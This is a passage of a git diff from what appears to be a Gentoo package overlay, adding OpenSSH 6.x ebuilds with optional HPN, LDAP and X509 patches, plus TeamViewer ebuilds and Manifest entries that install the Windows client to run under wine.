+PARCH=${P/_}
+
+HPN_PATCH="${PARCH}-hpn13v12.diff.gz"
+LDAP_PATCH="${PARCH/-/-lpk-}-0.3.14.patch.gz"
+X509_VER="7.1" X509_PATCH="${PARCH}+x509-${X509_VER}.diff.gz"
+
+DESCRIPTION="Port of OpenBSD's free SSH release"
+HOMEPAGE="http://www.openssh.org/"
+SRC_URI="mirror://openbsd/OpenSSH/portable/${PARCH}.tar.gz
+	${HPN_PATCH:+hpn? ( http://www.psc.edu/networking/projects/hpn-ssh/${HPN_PATCH} mirror://gentoo/${HPN_PATCH} )}
+	${LDAP_PATCH:+ldap? ( mirror://gentoo/${LDAP_PATCH} )}
+	${X509_PATCH:+X509? ( http://roumenpetrov.info/openssh/x509-${X509_VER}/${X509_PATCH} )}
+	"
+
+LICENSE="as-is"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~m68k ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~amd64-fbsd ~sparc-fbsd ~x86-fbsd"
+IUSE="${HPN_PATCH:++}hpn kerberos ldap libedit pam selinux skey static tcpd X X509"
+
+RDEPEND="pam? ( virtual/pam )
+	kerberos? ( virtual/krb5 )
+	selinux? ( >=sys-libs/libselinux-1.28 )
+	skey? ( >=sys-auth/skey-1.1.5-r1 )
+	ldap? ( net-nds/openldap )
+	libedit? ( dev-libs/libedit )
+	>=dev-libs/openssl-0.9.6d
+	>=sys-libs/zlib-1.2.3
+	tcpd? ( >=sys-apps/tcp-wrappers-7.6 )
+	X? ( x11-apps/xauth )
+	userland_GNU? ( virtual/shadow )"
+DEPEND="${RDEPEND}
+	virtual/pkgconfig
+	virtual/os-headers
+	sys-devel/autoconf"
+RDEPEND="${RDEPEND}
+	pam? ( >=sys-auth/pambase-20081028 )"
+
+S=${WORKDIR}/${PARCH}
+
+pkg_setup() {
+	# this sucks, but i'd rather have people unable to `emerge -u openssh`
+	# than not be able to log in to their server any more
+	maybe_fail() { [[ -z ${!2} ]] && echo ${1} ; }
+	local fail="
+		$(use X509 && maybe_fail X509 X509_PATCH)
+		$(use ldap && maybe_fail ldap LDAP_PATCH)
+		$(use hpn && maybe_fail hpn HPN_PATCH)
+	"
+	fail=$(echo ${fail})
+	if [[ -n ${fail} ]] ; then
+		eerror "Sorry, but this version does not yet support features"
+		eerror "that you requested:	 ${fail}"
+		eerror "Please mask ${PF} for now and check back later:"
+		eerror " # echo '=${CATEGORY}/${PF}' >> /etc/portage/package.mask"
+		die "booooo"
+	fi
+}
+
+save_version() {
+	# version.h patch conflict avoidence
+	mv version.h version.h.$1
+	cp -f version.h.pristine version.h
+}
+
+src_prepare() {
+	sed -i \
+		-e '/_PATH_XAUTH/s:/usr/X11R6/bin/xauth:/usr/bin/xauth:' \
+		pathnames.h || die
+	# keep this as we need it to avoid the conflict between LPK and HPN changing
+	# this file.
+	cp version.h version.h.pristine
+
+	# don't break .ssh/authorized_keys2 for fun
+	sed -i '/^AuthorizedKeysFile/s:^:#:' sshd_config || die
+
+	epatch "${FILESDIR}"/${PN}-5.9_p1-sshd-gssapi-multihomed.patch #378361
+	if use X509 ; then
+		pushd .. >/dev/null
+		epatch "${FILESDIR}"/${PN}-6.0_p1-x509-glue.patch
+		popd >/dev/null
+		epatch "${WORKDIR}"/${X509_PATCH%.*}
+		epatch "${FILESDIR}"/${PN}-6.0_p1-x509-hpn-glue.patch
+		save_version X509
+	fi
+	if ! use X509 ; then
+		if [[ -n ${LDAP_PATCH} ]] && use ldap ; then
+			epatch "${WORKDIR}"/${LDAP_PATCH%.*}
+			save_version LPK
+		fi
+	else
+		use ldap && ewarn "Sorry, X509 and LDAP conflict internally, disabling LDAP"
+	fi
+	epatch "${FILESDIR}"/${PN}-6.0_p1-test.patch #391011
+	epatch "${FILESDIR}"/${PN}-6.0_p1-fix-freebsd-compilation.patch #391011
+	epatch "${FILESDIR}"/${PN}-4.7_p1-GSSAPI-dns.patch #165444 integrated into gsskex
+	if [[ -n ${HPN_PATCH} ]] && use hpn; then
+		epatch "${WORKDIR}"/${HPN_PATCH%.*}
+		epatch "${FILESDIR}"/${PN}-6.0_p1-hpn-progressmeter.patch
+		save_version HPN
+		# The AES-CTR multithreaded variant is broken, and causes random hangs
+		# when combined background threading and control sockets. To avoid
+		# this, we change the internal table to use the non-multithread version
+		# for the meantime. Do NOT remove this in new versions. See bug #354113
+		# comment #6 for testcase.
+		# Upstream reference: http://www.psc.edu/networking/projects/hpn-ssh/
+		## Additionally, the MT-AES-CTR mode cipher replaces the default ST-AES-CTR mode
+		## cipher. Be aware that if the client process is forked using the -f command line
+		## option the process will hang as the parent thread gets 'divorced' from the key
+		## generation threads. This issue will be resolved as soon as possible
+		sed -i \
+			-e '/aes...-ctr.*SSH_CIPHER_SSH2/s,evp_aes_ctr_mt,evp_aes_128_ctr,' \
+			cipher.c || die
+	fi
+
+	sed -i "s:-lcrypto:$(pkg-config --libs openssl):" configure{,.ac} || die
+
+	# Disable PATH reset, trust what portage gives us. bug 254615
+	sed -i -e 's:^PATH=/:#PATH=/:' configure || die
+
+	# Now we can build a sane merged version.h
+	(
+		sed '/^#define SSH_RELEASE/d' version.h.* | sort -u
+		macros=()
+		for p in HPN LPK X509 ; do [ -e version.h.${p} ] && macros+=( SSH_${p} ) ; done
+		printf '#define SSH_RELEASE SSH_VERSION SSH_PORTABLE %s\n' "${macros}"
+	) > version.h
+
+	eautoreconf
+}
+
+static_use_with() {
+	local flag=$1
+	if use static && use ${flag} ; then
+		ewarn "Disabling '${flag}' support because of USE='static'"
+		# rebuild args so that we invert the first one (USE flag)
+		# but otherwise leave everything else working so we can
+		# just leverage use_with
+		shift
+		[[ -z $1 ]] && flag="${flag} ${flag}"
+		set -- !${flag} "$@"
+	fi
+	use_with "$@"
+}
+
+src_configure() {
+	addwrite /dev/ptmx
+	addpredict /etc/skey/skeykeys #skey configure code triggers this
+
+	use static && append-ldflags -static
+
+	econf \
+		--with-ldflags="${LDFLAGS}" \
+		--disable-strip \
+		--sysconfdir=/etc/ssh \
+		--libexecdir=/usr/$(get_libdir)/misc \
+		--datadir=/usr/share/openssh \
+		--with-privsep-path=/var/empty \
+		--with-privsep-user=sshd \
+		--with-md5-passwords \
+		--with-ssl-engine \
+		$(static_use_with pam) \
+		$(static_use_with kerberos kerberos5 /usr) \
+		${LDAP_PATCH:+$(use X509 || ( use ldap && use_with ldap ))} \
+		$(use_with libedit) \
+		$(use_with selinux) \
+		$(use_with skey) \
+		$(use_with tcpd tcp-wrappers)
+}
+
+src_install() {
+	emake install-nokeys DESTDIR="${D}" || die
+	fperms 600 /etc/ssh/sshd_config
+	dobin contrib/ssh-copy-id || die
+	newinitd "${FILESDIR}"/sshd.rc6.3 sshd
+	newconfd "${FILESDIR}"/sshd.confd sshd
+	keepdir /var/empty
+
+	# not all openssl installs support ecc, or are functional #352645
+	if ! grep -q '#define OPENSSL_HAS_ECC 1' config.h ; then
+		elog "dev-libs/openssl was built with 'bindist' - disabling ecdsa support"
+		dosed 's:&& gen_key ecdsa::' /etc/init.d/sshd || die
+	fi
+
+	newpamd "${FILESDIR}"/sshd.pam_include.2 sshd
+	if use pam ; then
+		sed -i \
+			-e "/^#UsePAM /s:.*:UsePAM yes:" \
+			-e "/^#PasswordAuthentication /s:.*:PasswordAuthentication no:" \
+			-e "/^#PrintMotd /s:.*:PrintMotd no:" \
+			-e "/^#PrintLastLog /s:.*:PrintLastLog no:" \
+			"${D}"/etc/ssh/sshd_config || die "sed of configuration file failed"
+	fi
+
+	# Gentoo tweaks to default config files
+	cat <<-EOF >> "${D}"/etc/ssh/sshd_config
+
+	# Allow client to pass locale environment variables #367017
+	AcceptEnv LANG LC_*
+	EOF
+	cat <<-EOF >> "${D}"/etc/ssh/ssh_config
+
+	# Send locale environment variables #367017
+	SendEnv LANG LC_*
+	EOF
+
+	# This instruction is from the HPN webpage,
+	# Used for the server logging functionality
+	if [[ -n ${HPN_PATCH} ]] && use hpn ; then
+		keepdir /var/empty/dev
+	fi
+
+	if use ldap ; then
+		insinto /etc/openldap/schema/
+		newins openssh-lpk_openldap.schema openssh-lpk.schema
+	fi
+
+	doman contrib/ssh-copy-id.1
+	dodoc ChangeLog CREDITS OVERVIEW README* TODO sshd_config
+
+	diropts -m 0700
+	dodir /etc/skel/.ssh
+
+	systemd_dounit "${FILESDIR}"/sshd.{service,socket} || die
+	systemd_newunit "${FILESDIR}"/sshd_at.service 'sshd@.service' || die
+}
+
+src_test() {
+	local t tests skipped failed passed shell
+	tests="interop-tests compat-tests"
+	skipped=""
+	shell=$(egetshell ${UID})
+	if [[ ${shell} == */nologin ]] || [[ ${shell} == */false ]] ; then
+		elog "Running the full OpenSSH testsuite"
+		elog "requires a usable shell for the 'portage'"
+		elog "user, so we will run a subset only."
+		skipped="${skipped} tests"
+	else
+		tests="${tests} tests"
+	fi
+	# It will also attempt to write to the homedir .ssh
+	local sshhome=${T}/homedir
+	mkdir -p "${sshhome}"/.ssh
+	for t in ${tests} ; do
+		# Some tests read from stdin ...
+		HOMEDIR="${sshhome}" \
+		emake -k -j1 ${t} </dev/null \
+			&& passed="${passed}${t} " \
+			|| failed="${failed}${t} "
+	done
+	einfo "Passed tests: ${passed}"
+	ewarn "Skipped tests: ${skipped}"
+	if [[ -n ${failed} ]] ; then
+		ewarn "Failed tests: ${failed}"
+		die "Some tests failed: ${failed}"
+	else
+		einfo "Failed tests: ${failed}"
+		return 0
+	fi
+}
+
+pkg_preinst() {
+	enewgroup sshd 22
+	enewuser sshd 22 -1 /var/empty sshd
+}
+
+pkg_postinst() {
+	elog "Starting with openssh-5.8p1, the server will default to a newer key"
+	elog "algorithm (ECDSA).  You are encouraged to manually update your stored"
+	elog "keys list as servers update theirs.  See ssh-keyscan(1) for more info."
+	echo
+	ewarn "Remember to merge your config files in /etc/ssh/ and then"
+	ewarn "reload sshd: '/etc/init.d/sshd reload'."
+	if use pam ; then
+		echo
+		ewarn "Please be aware users need a valid shell in /etc/passwd"
+		ewarn "in order to be allowed to login."
+	fi
+	# This instruction is from the HPN webpage,
+	# Used for the server logging functionality
+	if [[ -n ${HPN_PATCH} ]] && use hpn ; then
+		echo
+		einfo "For the HPN server logging patch, you must ensure that"
+		einfo "your syslog application also listens at /var/empty/dev/log."
+	fi
+}
diff --git a/net-misc/openssh-x/openssh-x-6.1_p1.ebuild b/net-misc/openssh-x/openssh-x-6.1_p1.ebuild
new file mode 100644
index 00000000..ffdd35c4
--- /dev/null
+++ b/net-misc/openssh-x/openssh-x-6.1_p1.ebuild
@@ -0,0 +1,295 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-misc/openssh/openssh-6.1_p1.ebuild,v 1.1 2012/09/08 18:38:11 vapier Exp $
+
+EAPI="2"
+inherit eutils user flag-o-matic multilib autotools pam systemd
+
+# Make it more portable between straight releases
+# and _p? releases.
+MY_P=openssh-x
+PARCH=${P/_}
+MY_PN=openssh
+
+HPN_PATCH="${PARCH}-hpn13v11.diff.bz2"
+LDAP_PATCH="${PARCH/-/-lpk-}-0.3.14.patch.gz"
+X509_VER="7.2.1" X509_PATCH="${PARCH}+x509-${X509_VER}.diff.gz"
+
+DESCRIPTION="Port of OpenBSD's free SSH release"
+HOMEPAGE="http://www.openssh.org/"
+SRC_URI="mirror://openbsd/OpenSSH/portable/${PARCH}.tar.gz
+	${HPN_PATCH:+hpn? ( http://www.psc.edu/networking/projects/hpn-ssh/${HPN_PATCH} mirror://gentoo/${HPN_PATCH} )}
+	${LDAP_PATCH:+ldap? ( mirror://gentoo/${LDAP_PATCH} )}
+	${X509_PATCH:+X509? ( http://roumenpetrov.info/openssh/x509-${X509_VER}/${X509_PATCH} )}
+	"
+
+LICENSE="as-is"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~m68k ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~amd64-fbsd ~sparc-fbsd ~x86-fbsd"
+IUSE="${HPN_PATCH:++}hpn kerberos ldap libedit pam selinux skey static tcpd X X509"
+
+RDEPEND="pam? ( virtual/pam )
+	kerberos? ( virtual/krb5 )
+	selinux? ( >=sys-libs/libselinux-1.28 )
+	skey? ( >=sys-auth/skey-1.1.5-r1 )
+	ldap? ( net-nds/openldap )
+	libedit? ( dev-libs/libedit )
+	>=dev-libs/openssl-0.9.6d
+	>=sys-libs/zlib-1.2.3
+	tcpd? ( >=sys-apps/tcp-wrappers-7.6 )
+	X? ( x11-apps/xauth )
+	userland_GNU? ( virtual/shadow )"
+DEPEND="${RDEPEND}
+	virtual/pkgconfig
+	virtual/os-headers
+	sys-devel/autoconf"
+RDEPEND="${RDEPEND}
+	pam? ( >=sys-auth/pambase-20081028 )"
+
+S=${WORKDIR}/${PARCH}
+
+pkg_setup() {
+	# this sucks, but i'd rather have people unable to `emerge -u openssh`
+	# than not be able to log in to their server any more
+	maybe_fail() { [[ -z ${!2} ]] && echo ${1} ; }
+	local fail="
+		$(use X509 && maybe_fail X509 X509_PATCH)
+		$(use ldap && maybe_fail ldap LDAP_PATCH)
+		$(use hpn && maybe_fail hpn HPN_PATCH)
+	"
+	fail=$(echo ${fail})
+	if [[ -n ${fail} ]] ; then
+		eerror "Sorry, but this version does not yet support features"
+		eerror "that you requested:	 ${fail}"
+		eerror "Please mask ${PF} for now and check back later:"
+		eerror " # echo '=${CATEGORY}/${PF}' >> /etc/portage/package.mask"
+		die "booooo"
+	fi
+}
+
+save_version() {
+	# version.h patch conflict avoidence
+	mv version.h version.h.$1
+	cp -f version.h.pristine version.h
+}
+
+src_prepare() {
+	sed -i \
+		-e '/_PATH_XAUTH/s:/usr/X11R6/bin/xauth:/usr/bin/xauth:' \
+		pathnames.h || die
+	# keep this as we need it to avoid the conflict between LPK and HPN changing
+	# this file.
+	cp version.h version.h.pristine
+
+	# don't break .ssh/authorized_keys2 for fun
+	sed -i '/^AuthorizedKeysFile/s:^:#:' sshd_config || die
+
+	epatch "${FILESDIR}"/${MY_PN}-5.9_p1-sshd-gssapi-multihomed.patch #378361
+	if use X509 ; then
+		pushd .. >/dev/null
+		epatch "${FILESDIR}"/${MY_PN}-6.1_p1-x509-glue.patch
+		popd >/dev/null
+		epatch "${WORKDIR}"/${X509_PATCH%.*}
+		epatch "${FILESDIR}"/${MY_PN}-6.1_p1-x509-hpn-glue.patch
+		save_version X509
+	fi
+	if ! use X509 ; then
+		if [[ -n ${LDAP_PATCH} ]] && use ldap ; then
+			epatch "${WORKDIR}"/${LDAP_PATCH%.*}
+			save_version LPK
+		fi
+	else
+		use ldap && ewarn "Sorry, X509 and LDAP conflict internally, disabling LDAP"
+	fi
+	epatch "${FILESDIR}"/${MY_PN}-6.0_p1-fix-freebsd-compilation.patch #391011
+	epatch "${FILESDIR}"/${MY_PN}-4.7_p1-GSSAPI-dns.patch #165444 integrated into gsskex
+	if [[ -n ${HPN_PATCH} ]] && use hpn; then
+		epatch "${WORKDIR}"/${HPN_PATCH%.*}
+		epatch "${FILESDIR}"/${MY_PN}-5.6_p1-hpn-progressmeter.patch
+		save_version HPN
+		# The AES-CTR multithreaded variant is broken, and causes random hangs
+		# when combined background threading and control sockets. To avoid
+		# this, we change the internal table to use the non-multithread version
+		# for the meantime. Do NOT remove this in new versions. See bug #354113
+		# comment #6 for testcase.
+		# Upstream reference: http://www.psc.edu/networking/projects/hpn-ssh/
+		## Additionally, the MT-AES-CTR mode cipher replaces the default ST-AES-CTR mode
+		## cipher. Be aware that if the client process is forked using the -f command line
+		## option the process will hang as the parent thread gets 'divorced' from the key
+		## generation threads. This issue will be resolved as soon as possible
+		sed -i \
+			-e '/aes...-ctr.*SSH_CIPHER_SSH2/s,evp_aes_ctr_mt,evp_aes_128_ctr,' \
+			cipher.c || die
+	fi
+
+	sed -i "s:-lcrypto:$(pkg-config --libs openssl):" configure{,.ac} || die
+
+	# Disable PATH reset, trust what portage gives us. bug 254615
+	sed -i -e 's:^PATH=/:#PATH=/:' configure || die
+
+	# Now we can build a sane merged version.h
+	(
+		sed '/^#define SSH_RELEASE/d' version.h.* | sort -u
+		macros=()
+		for p in HPN LPK X509 ; do [ -e version.h.${p} ] && macros+=( SSH_${p} ) ; done
+		printf '#define SSH_RELEASE SSH_VERSION SSH_PORTABLE %s\n' "${macros}"
+	) > version.h
+
+	eautoreconf
+}
+
+static_use_with() {
+	local flag=$1
+	if use static && use ${flag} ; then
+		ewarn "Disabling '${flag}' support because of USE='static'"
+		# rebuild args so that we invert the first one (USE flag)
+		# but otherwise leave everything else working so we can
+		# just leverage use_with
+		shift
+		[[ -z $1 ]] && flag="${flag} ${flag}"
+		set -- !${flag} "$@"
+	fi
+	use_with "$@"
+}
+
+src_configure() {
+	addwrite /dev/ptmx
+	addpredict /etc/skey/skeykeys #skey configure code triggers this
+
+	use static && append-ldflags -static
+
+	econf \
+		--with-ldflags="${LDFLAGS}" \
+		--disable-strip \
+		--sysconfdir=/etc/ssh \
+		--libexecdir=/usr/$(get_libdir)/misc \
+		--datadir=/usr/share/openssh \
+		--with-privsep-path=/var/empty \
+		--with-privsep-user=sshd \
+		--with-md5-passwords \
+		--with-ssl-engine \
+		$(static_use_with pam) \
+		$(static_use_with kerberos kerberos5 /usr) \
+		${LDAP_PATCH:+$(use X509 || ( use ldap && use_with ldap ))} \
+		$(use_with libedit) \
+		$(use_with selinux) \
+		$(use_with skey) \
+		$(use_with tcpd tcp-wrappers)
+}
+
+src_install() {
+	emake install-nokeys DESTDIR="${D}" || die
+	fperms 600 /etc/ssh/sshd_config
+	dobin contrib/ssh-copy-id || die
+	newinitd "${FILESDIR}"/sshd.rc6.3 sshd
+	newconfd "${FILESDIR}"/sshd.confd sshd
+	keepdir /var/empty
+
+	# not all openssl installs support ecc, or are functional #352645
+	if ! grep -q '#define OPENSSL_HAS_ECC 1' config.h ; then
+		elog "dev-libs/openssl was built with 'bindist' - disabling ecdsa support"
+		dosed 's:&& gen_key ecdsa::' /etc/init.d/sshd || die
+	fi
+
+	newpamd "${FILESDIR}"/sshd.pam_include.2 sshd
+	if use pam ; then
+		sed -i \
+			-e "/^#UsePAM /s:.*:UsePAM yes:" \
+			-e "/^#PasswordAuthentication /s:.*:PasswordAuthentication no:" \
+			-e "/^#PrintMotd /s:.*:PrintMotd no:" \
+			-e "/^#PrintLastLog /s:.*:PrintLastLog no:" \
+			"${D}"/etc/ssh/sshd_config || die "sed of configuration file failed"
+	fi
+
+	# Gentoo tweaks to default config files
+	cat <<-EOF >> "${D}"/etc/ssh/sshd_config
+
+	# Allow client to pass locale environment variables #367017
+	AcceptEnv LANG LC_*
+	EOF
+	cat <<-EOF >> "${D}"/etc/ssh/ssh_config
+
+	# Send locale environment variables #367017
+	SendEnv LANG LC_*
+	EOF
+
+	# This instruction is from the HPN webpage,
+	# Used for the server logging functionality
+	if [[ -n ${HPN_PATCH} ]] && use hpn ; then
+		keepdir /var/empty/dev
+	fi
+
+	if use ldap ; then
+		insinto /etc/openldap/schema/
+		newins openssh-lpk_openldap.schema openssh-lpk.schema
+	fi
+
+	doman contrib/ssh-copy-id.1
+	dodoc ChangeLog CREDITS OVERVIEW README* TODO sshd_config
+
+	diropts -m 0700
+	dodir /etc/skel/.ssh
+
+	systemd_dounit "${FILESDIR}"/sshd.{service,socket} || die
+	systemd_newunit "${FILESDIR}"/sshd_at.service 'sshd@.service' || die
+}
+
+src_test() {
+	local t tests skipped failed passed shell
+	tests="interop-tests compat-tests"
+	skipped=""
+	shell=$(egetshell ${UID})
+	if [[ ${shell} == */nologin ]] || [[ ${shell} == */false ]] ; then
+		elog "Running the full OpenSSH testsuite"
+		elog "requires a usable shell for the 'portage'"
+		elog "user, so we will run a subset only."
+		skipped="${skipped} tests"
+	else
+		tests="${tests} tests"
+	fi
+	# It will also attempt to write to the homedir .ssh
+	local sshhome=${T}/homedir
+	mkdir -p "${sshhome}"/.ssh
+	for t in ${tests} ; do
+		# Some tests read from stdin ...
+		HOMEDIR="${sshhome}" \
+		emake -k -j1 ${t} </dev/null \
+			&& passed="${passed}${t} " \
+			|| failed="${failed}${t} "
+	done
+	einfo "Passed tests: ${passed}"
+	ewarn "Skipped tests: ${skipped}"
+	if [[ -n ${failed} ]] ; then
+		ewarn "Failed tests: ${failed}"
+		die "Some tests failed: ${failed}"
+	else
+		einfo "Failed tests: ${failed}"
+		return 0
+	fi
+}
+
+pkg_preinst() {
+	enewgroup sshd 22
+	enewuser sshd 22 -1 /var/empty sshd
+}
+
+pkg_postinst() {
+	elog "Starting with openssh-5.8p1, the server will default to a newer key"
+	elog "algorithm (ECDSA).  You are encouraged to manually update your stored"
+	elog "keys list as servers update theirs.  See ssh-keyscan(1) for more info."
+	echo
+	ewarn "Remember to merge your config files in /etc/ssh/ and then"
+	ewarn "reload sshd: '/etc/init.d/sshd reload'."
+	if use pam ; then
+		echo
+		ewarn "Please be aware users need a valid shell in /etc/passwd"
+		ewarn "in order to be allowed to login."
+	fi
+	# This instruction is from the HPN webpage,
+	# Used for the server logging functionality
+	if [[ -n ${HPN_PATCH} ]] && use hpn ; then
+		echo
+		einfo "For the HPN server logging patch, you must ensure that"
+		einfo "your syslog application also listens at /var/empty/dev/log."
+	fi
+}
diff --git a/net-misc/teamviewer/Manifest b/net-misc/teamviewer/Manifest
new file mode 100644
index 00000000..5b0d4da1
--- /dev/null
+++ b/net-misc/teamviewer/Manifest
@@ -0,0 +1,6 @@
+DIST teamviewer-7.0.9310.tar.gz 28493556 SHA256 1565ebeaf8a0c9eab762414e38a6c608a890bcf360fdd14e1146ad1781437184
+DIST teamviewer-7.0.9377.tar.gz 18102617 SHA256 3eaa78cbbd49449f2dbe5be6f0af99535a039598867a537ea8230189251909b9 SHA512 cc959dc9d243be499dbd5781c979305787659fbc95f72f5cb5e05dc042006cf05e670e8feb88322a1adf74f1c58cdf8883c11945a5baff26b0a7a2a4e8b08a8b WHIRLPOOL 68cc97298d8f98b5021e39954f45167eb2b32ff3bd32aa38733120574dafcf13884e452823ccec9d73f3244989433919395ba6d357f714635a1a6276bd8fa855
+DIST teamviewer-8.0.16675.tar.gz 18102617 SHA256 3eaa78cbbd49449f2dbe5be6f0af99535a039598867a537ea8230189251909b9 SHA512 cc959dc9d243be499dbd5781c979305787659fbc95f72f5cb5e05dc042006cf05e670e8feb88322a1adf74f1c58cdf8883c11945a5baff26b0a7a2a4e8b08a8b WHIRLPOOL 68cc97298d8f98b5021e39954f45167eb2b32ff3bd32aa38733120574dafcf13884e452823ccec9d73f3244989433919395ba6d357f714635a1a6276bd8fa855
+EBUILD teamviewer-7.0.9310.ebuild 1203 SHA256 8cb576a9de49648a00b4b12c7311d2121fe1566e27b039e4104a530358553bc1 SHA512 7ea89d986865659768dd3c8e0bafd464f64963debea17832534a4ec2449eb59ef49f76d01ea506e292030a629370a1d86885cdeab5109f5b3727a311be4f9fee WHIRLPOOL bf45987c4aa5d68953dc2c91884c730debaf892422829ab55526339799f5079173ce7ce7617ebe9385ac34813f895e9a31bd8f34faf60bc0c54f368304a76634
+EBUILD teamviewer-7.0.9377.ebuild 1203 SHA256 8cb576a9de49648a00b4b12c7311d2121fe1566e27b039e4104a530358553bc1 SHA512 7ea89d986865659768dd3c8e0bafd464f64963debea17832534a4ec2449eb59ef49f76d01ea506e292030a629370a1d86885cdeab5109f5b3727a311be4f9fee WHIRLPOOL bf45987c4aa5d68953dc2c91884c730debaf892422829ab55526339799f5079173ce7ce7617ebe9385ac34813f895e9a31bd8f34faf60bc0c54f368304a76634
+EBUILD teamviewer-8.0.16675.ebuild 1203 SHA256 8cb576a9de49648a00b4b12c7311d2121fe1566e27b039e4104a530358553bc1 SHA512 7ea89d986865659768dd3c8e0bafd464f64963debea17832534a4ec2449eb59ef49f76d01ea506e292030a629370a1d86885cdeab5109f5b3727a311be4f9fee WHIRLPOOL bf45987c4aa5d68953dc2c91884c730debaf892422829ab55526339799f5079173ce7ce7617ebe9385ac34813f895e9a31bd8f34faf60bc0c54f368304a76634
diff --git a/net-misc/teamviewer/teamviewer-7.0.9310.ebuild b/net-misc/teamviewer/teamviewer-7.0.9310.ebuild
new file mode 100644
index 00000000..130c5270
--- /dev/null
+++ b/net-misc/teamviewer/teamviewer-7.0.9310.ebuild
@@ -0,0 +1,52 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils
+
+# Major version
+MV=${PV/\.*}
+
+DESCRIPTION="the All-In-One Solution for Remote Access and Support over the Internet"
+HOMEPAGE="http://www.teamviewer.com"
+SRC_URI="http://www.teamviewer.com/download/${PN}_linux.tar.gz -> ${P}.tar.gz"
+
+LICENSE="TeamViewerNovember2011"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+RESTRICT="mirror strip"
+
+RDEPEND="
+	app-emulation/wine
+"
+
+S="${WORKDIR}/teamviewer${MV}"
+
+pkg_setup() {
+	elog "This ebuild installs the TeamViewer binary and libraries and relies on"
+	elog "Gentoo's wine package to run the actual program."
+	elog
+	elog "If you encounter any problems, consider running TeamViewer with the"
+	elog "bundled wine package manually."
+}
+
+src_install() {
+pwd
+	insinto /opt/teamviewer/
+	doins .wine/drive_c/Program\ Files/TeamViewer/Version${MV}/*
+
+	rm teamviewer || die
+	echo "#!/bin/bash" > teamviewer || die
+	echo "/usr/bin/wine /opt/teamviewer/TeamViewer.exe" >> teamviewer || die
+	insinto /usr/bin
+	dobin teamviewer
+
+	dodoc linux_FAQ_{EN,DE}.txt
+	dodoc CopyRights_{EN,DE}.txt
+
+	make_desktop_entry ${PN} TeamViewer ${PN}
+}
diff --git a/net-misc/teamviewer/teamviewer-7.0.9377.ebuild b/net-misc/teamviewer/teamviewer-7.0.9377.ebuild
new file mode 100644
index 00000000..130c5270
--- /dev/null
+++ b/net-misc/teamviewer/teamviewer-7.0.9377.ebuild
@@ -0,0 +1,52 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils
+
+# Major version
+MV=${PV/\.*}
+
+DESCRIPTION="the All-In-One Solution for Remote Access and Support over the Internet"
+HOMEPAGE="http://www.teamviewer.com"
+SRC_URI="http://www.teamviewer.com/download/${PN}_linux.tar.gz -> ${P}.tar.gz"
+
+LICENSE="TeamViewerNovember2011"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+RESTRICT="mirror strip"
+
+RDEPEND="
+	app-emulation/wine
+"
+
+S="${WORKDIR}/teamviewer${MV}"
+
+pkg_setup() {
+	elog "This ebuild installs the TeamViewer binary and libraries and relies on"
+	elog "Gentoo's wine package to run the actual program."
+	elog
+	elog "If you encounter any problems, consider running TeamViewer with the"
+	elog "bundled wine package manually."
+}
+
+src_install() {
+pwd
+	insinto /opt/teamviewer/
+	doins .wine/drive_c/Program\ Files/TeamViewer/Version${MV}/*
+
+	rm teamviewer || die
+	echo "#!/bin/bash" > teamviewer || die
+	echo "/usr/bin/wine /opt/teamviewer/TeamViewer.exe" >> teamviewer || die
+	insinto /usr/bin
+	dobin teamviewer
+
+	dodoc linux_FAQ_{EN,DE}.txt
+	dodoc CopyRights_{EN,DE}.txt
+
+	make_desktop_entry ${PN} TeamViewer ${PN}
+}
diff --git a/net-misc/teamviewer/teamviewer-8.0.16675.ebuild b/net-misc/teamviewer/teamviewer-8.0.16675.ebuild
new file mode 100644
index 00000000..130c5270
--- /dev/null
+++ b/net-misc/teamviewer/teamviewer-8.0.16675.ebuild
@@ -0,0 +1,52 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils
+
+# Major version
+MV=${PV/\.*}
+
+DESCRIPTION="the All-In-One Solution for Remote Access and Support over the Internet"
+HOMEPAGE="http://www.teamviewer.com"
+SRC_URI="http://www.teamviewer.com/download/${PN}_linux.tar.gz -> ${P}.tar.gz"
+
+LICENSE="TeamViewerNovember2011"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+RESTRICT="mirror strip"
+
+RDEPEND="
+	app-emulation/wine
+"
+
+S="${WORKDIR}/teamviewer${MV}"
+
+pkg_setup() {
+	elog "This ebuild installs the TeamViewer binary and libraries and relies on"
+	elog "Gentoo's wine package to run the actual program."
+	elog
+	elog "If you encounter any problems, consider running TeamViewer with the"
+	elog "bundled wine package manually."
+}
+
+src_install() {
+pwd
+	insinto /opt/teamviewer/
+	doins .wine/drive_c/Program\ Files/TeamViewer/Version${MV}/*
+
+	rm teamviewer || die
+	echo "#!/bin/bash" > teamviewer || die
+	echo "/usr/bin/wine /opt/teamviewer/TeamViewer.exe" >> teamviewer || die
+	insinto /usr/bin
+	dobin teamviewer
+
+	dodoc linux_FAQ_{EN,DE}.txt
+	dodoc CopyRights_{EN,DE}.txt
+
+	make_desktop_entry ${PN} TeamViewer ${PN}
+}
diff --git a/net-misc/tigervnc/Manifest b/net-misc/tigervnc/Manifest
new file mode 100644
index 00000000..8e3f9f39
--- /dev/null
+++ b/net-misc/tigervnc/Manifest
@@ -0,0 +1,5 @@
